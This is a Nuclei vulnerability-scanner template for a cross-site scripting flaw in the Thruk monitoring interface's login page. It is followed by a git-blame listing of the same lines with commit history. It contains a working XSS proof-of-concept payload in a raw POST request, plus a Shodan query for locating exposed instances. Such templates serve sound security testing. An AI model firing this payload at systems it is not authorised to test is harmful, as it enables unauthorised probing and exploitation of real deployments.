nuclei-templates/http/vulnerabilities/other/thruk-xss.yaml

id: thruk-xss

info:
  name: Thruk Monitoring Webinterface - Cross-Site Scripting
  author: pikpikcu,ritikchaddha
  severity: high
  description: |
    Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.
  reference:
    - https://www.thruk.org/download.html
    - https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:thruk:thruk:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Thruk"
    product: thruk
    vendor: thruk
  tags: thruk,xss

http:
  - raw:
      - |
        POST /thruk/cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg/onload=alert(document.domain)>\"@gmail.com') called at"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100c1caf558cc3fa1450bc66ec9adc87ed06bd4eab7d0647c292ee0c6666239e9ae0221009abe3802b41435aac40697000393fc5e315ac6a63357b22394c3662d105d346a:922c64590222798bb761d5b6d8e72950
Update thruk-xss.yaml 2021-12-02 12:07:50 +00:00			`id: thruk-xss`

Create thruk-xss.yaml 2021-12-02 12:02:40 +00:00			`info:`
Normalization of Cross-Site Scripting names (#5329) 2022-09-09 17:34:37 +00:00			`name: Thruk Monitoring Webinterface - Cross-Site Scripting`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`author: pikpikcu,ritikchaddha`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`severity: high`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`description: \|`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`Thruk Monitoring Webinterface contains a cross-site scripting vulnerability via the login parameter at /thruk/cgi-bin/login.cgi.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://www.thruk.org/download.html`
Dashboard Content Enhancements (#5455) Dashboard Content Enhancements 2022-09-23 17:53:08 +00:00			`- https://www.usd.de/en/security-advisory-thruk-monitoring-v2-46-3`
			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`
			`cvss-score: 7.2`
			`cwe-id: CWE-79`
Add missing cpes Added missing cpes 2024-09-10 08:22:50 +00:00			`cpe: cpe:2.3:a:thruk:thruk::::::::`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`metadata:`
			`verified: true`
templateman update 2023-10-14 11:27:55 +00:00			`max-request: 1`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`shodan-query: http.html:"Thruk"`
Add missing cpes Added missing cpes 2024-09-10 08:22:50 +00:00			`product: thruk`
			`vendor: thruk`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`tags: thruk,xss`
Create thruk-xss.yaml 2021-12-02 12:02:40 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create thruk-xss.yaml 2021-12-02 12:02:40 +00:00			`- raw:`
fix: syntax + lint 2021-12-03 05:07:42 +00:00			`- \|`
Create thruk-xss.yaml 2021-12-02 12:02:40 +00:00			`POST /thruk/cgi-bin/login.cgi HTTP/1.1`
			`Host: {{Hostname}}`
			`Content-Type: application/x-www-form-urlencoded`

Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`referer=&login=%22%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%40gmail.com&password=test&submit=Login`
fix: syntax + lint 2021-12-03 05:07:42 +00:00
			`matchers-condition: and`
Create thruk-xss.yaml 2021-12-02 12:02:40 +00:00			`matchers:`
			`- type: word`
			`words:`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00			`- "<svg/onload=alert(document.domain)>\"@gmail.com') called at"`
Create thruk-xss.yaml 2021-12-02 12:02:40 +00:00
			`- type: word`
			`part: header`
fix: syntax + lint 2021-12-03 05:07:42 +00:00			`words:`
Update thruk-xss.yaml 2021-12-09 16:28:15 +00:00			`- "text/html"`
Update thruk-xss.yaml 2022-08-15 08:57:04 +00:00
			`- type: status`
			`status:`
			`- 500`
chore: sign templates 🤖 2024-09-12 05:14:01 +00:00			`# digest: 4b0a00483046022100c1caf558cc3fa1450bc66ec9adc87ed06bd4eab7d0647c292ee0c6666239e9ae0221009abe3802b41435aac40697000393fc5e315ac6a63357b22394c3662d105d346a:922c64590222798bb761d5b6d8e72950`